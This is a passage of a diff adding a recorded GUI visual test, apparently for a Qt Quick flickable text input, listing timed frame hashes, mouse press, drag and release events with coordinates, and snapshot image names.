+ x: 17; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2736
+ hash: "46be0cd1b01d80de8e9d8cd78364fdd4"
+ }
+ Frame {
+ msec: 2752
+ hash: "46be0cd1b01d80de8e9d8cd78364fdd4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2768
+ hash: "c9ec87a419171b4d6311a36c952eaef1"
+ }
+ Frame {
+ msec: 2784
+ hash: "c9ec87a419171b4d6311a36c952eaef1"
+ }
+ Frame {
+ msec: 2800
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2816
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2832
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2848
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2864
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2880
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2896
+ image: "flickableInput.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2928
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2944
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2960
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2976
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 2992
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 3008
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 17; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3024
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 3040
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 3056
+ hash: "34cb0a13417b38ff6c78a98a128f1b40"
+ }
+ Frame {
+ msec: 3072
+ hash: "09201585ad57e87efda13c469e1bc95d"
+ }
+ Frame {
+ msec: 3088
+ hash: "09201585ad57e87efda13c469e1bc95d"
+ }
+ Frame {
+ msec: 3104
+ hash: "b816b96270a846ed5776e6f53d507eb8"
+ }
+ Frame {
+ msec: 3120
+ hash: "6ee997c78cadb4357b30db81acf4ee40"
+ }
+ Frame {
+ msec: 3136
+ hash: "abbab9e07614915a49fc8f30242932a7"
+ }
+ Frame {
+ msec: 3152
+ hash: "47f0d0fe751a8ad3dd3f6341d76c929d"
+ }
+ Frame {
+ msec: 3168
+ hash: "0304cbed0c52d5486df52312898fe81d"
+ }
+ Frame {
+ msec: 3184
+ hash: "6ac82afa8805f1bdb4c67a2f1a1aff32"
+ }
+ Frame {
+ msec: 3200
+ hash: "4cc6db0a1dbe6c70d5e2dfe60fe70a51"
+ }
+ Frame {
+ msec: 3216
+ hash: "cf04ff1b13f5aa36470fd8ae23523153"
+ }
+ Frame {
+ msec: 3232
+ hash: "20fcdfd24f21125d61ac45cbe94e48a7"
+ }
+ Frame {
+ msec: 3248
+ hash: "e017109961b5e6c6701c3045f284ebf7"
+ }
+ Frame {
+ msec: 3264
+ hash: "e017109961b5e6c6701c3045f284ebf7"
+ }
+ Frame {
+ msec: 3280
+ hash: "c2a770b8c95959f4abf91420c0a3e8b2"
+ }
+ Frame {
+ msec: 3296
+ hash: "6865c870740497e31dfeb91e09737206"
+ }
+ Frame {
+ msec: 3312
+ hash: "6865c870740497e31dfeb91e09737206"
+ }
+ Frame {
+ msec: 3328
+ hash: "6865c870740497e31dfeb91e09737206"
+ }
+ Frame {
+ msec: 3344
+ hash: "6865c870740497e31dfeb91e09737206"
+ }
+ Frame {
+ msec: 3360
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3376
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3392
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3408
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3424
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3440
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3456
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3472
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3488
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3504
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3520
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3536
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3552
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3568
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3584
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3600
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3616
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3632
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3648
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3664
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3680
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3696
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3712
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3728
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3744
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3760
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3776
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 3792
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3808
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3824
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3840
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3856
+ image: "flickableInput.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3888
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3904
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3920
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3936
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 3952
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 12; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3968
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Frame {
+ msec: 3984
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Frame {
+ msec: 4000
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Frame {
+ msec: 4016
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Frame {
+ msec: 4032
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Frame {
+ msec: 4048
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 13; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4064
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 16; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 20; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4080
+ hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4096
+ hash: "ab2ea5988d2b3288d3c57369f68933dc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 31; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 36; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4112
+ hash: "986834600427959d170d547a1c5ecce0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4128
+ hash: "52847e87c1fef2d7357c86abb0944df4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4144
+ hash: "bc68a47163712646cf8439459fb0d100"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 62; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4160
+ hash: "9e9f66e9545c77a2e7ee02d46acd102e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 76; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4176
+ hash: "4e9e7500185499c5a5f9d65e0e9406a0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 83; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4192
+ hash: "550d6c645bf694c544734d67e2ae5ac3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4208
+ hash: "0736bab3f9c1cec0f944003bebe3d499"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 94; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4224
+ hash: "efffb9f6d6a7dacf297530b1cb68a713"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4240
+ hash: "d5458a8dd8a9bf22e67439c9d8d9c366"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4256
+ hash: "2d30acf6dc0e186577bd6f7ce858ab92"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4272
+ hash: "e1a926cc5f7a49c9320a8d49c8a1bb3f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 117; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 120; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4288
+ hash: "cfc9c0bca9e269887ad5c67cc684b753"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4304
+ hash: "7b561e04ef93399460eb3b4b850c3cab"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 127; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4320
+ hash: "1c17d036e08b24b47239f9a38df3d87d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 128; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 130; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4336
+ hash: "3ec95ad7622048b68a53cfd3fdeac999"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 133; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4352
+ hash: "1e20084ed70b7423885a2d0f06fba660"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 134; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4368
+ hash: "f19e136b3c3d57d8b8e63c64b17c29e4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 137; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4384
+ hash: "f19e136b3c3d57d8b8e63c64b17c29e4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 138; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4400
+ hash: "894d439a8463cf460e5a66fdcf51a1b5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 139; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4416
+ hash: "894d439a8463cf460e5a66fdcf51a1b5"
+ }
+ Frame {
+ msec: 4432
+ hash: "894d439a8463cf460e5a66fdcf51a1b5"
+ }
+ Frame {
+ msec: 4448
+ hash: "894d439a8463cf460e5a66fdcf51a1b5"
+ }
+ Frame {
+ msec: 4464
+ hash: "03c99addee96254d19db72746f1bef11"
+ }
+ Frame {
+ msec: 4480
+ hash: "03c99addee96254d19db72746f1bef11"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4496
+ hash: "cb087b0af44fd7e767b3ff5da1f49790"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4512
+ hash: "8c36fa6a9c8bfb66e272c8628aec7077"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 146; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4528
+ hash: "971154dba58b18b1d82999f5b6a40cc1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 149; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4544
+ hash: "253397b603f99f7d092dda82d794e944"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 153; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 155; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4560
+ hash: "f8ded9e6f36a35a73fbe2264321838ca"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 158; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4576
+ hash: "83b9cec7bbe65ba9d68b089211296116"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 164; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4592
+ hash: "525ffec3a2d2a7a9e0c82f2c98b09ea0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 171; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4608
+ hash: "c4fb902f66abebb6b7c3489a073e17d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 172; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 173; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4624
+ hash: "0f4526d9f840c0a95e9d145c9822d6e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 174; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4640
+ hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+ }
+ Frame {
+ msec: 4656
+ hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4672
+ hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 176; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4688
+ hash: "d6f7a50416c3805aeafbdf55905e8276"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 177; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4704
+ hash: "d6f7a50416c3805aeafbdf55905e8276"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 178; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4720
+ hash: "7586c3d3f46eba4a1abe2fe223e7fde2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 179; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4736
+ hash: "7586c3d3f46eba4a1abe2fe223e7fde2"
+ }
+ Frame {
+ msec: 4752
+ hash: "7586c3d3f46eba4a1abe2fe223e7fde2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 180; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4768
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4784
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4800
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4816
+ image: "flickableInput.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4848
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4864
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4880
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4896
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4912
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4928
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4944
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 4960
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 4976
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 4992
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5008
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5024
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5040
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5056
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5072
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5088
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5104
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5120
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5136
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5152
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5168
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5184
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5200
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5216
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5232
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5248
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5264
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5280
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5296
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5312
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5328
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5344
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5360
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5376
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5392
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5408
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5424
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5440
+ hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+ }
+ Frame {
+ msec: 5456
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 5472
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 5488
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 5504
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 5520
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Frame {
+ msec: 5536
+ hash: "4f63c550ebf5c52fe55558310b366b11"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 177; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5552
+ hash: "d6f7a50416c3805aeafbdf55905e8276"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 176; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5568
+ hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 174; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 171; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5584
+ hash: "c4fb902f66abebb6b7c3489a073e17d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5600
+ hash: "04c6accf277b5bca4c53c1817f85bafe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 164; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5616
+ hash: "8eb14964fea798ceccc150310a12fd4b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 162; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 160; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5632
+ hash: "83b9cec7bbe65ba9d68b089211296116"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 158; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5648
+ hash: "e59ae71a5636c48e6befa305eba76ec8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 155; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 153; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5664
+ hash: "73e178775ee01d28cf03378f267753b1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 150; y: 26
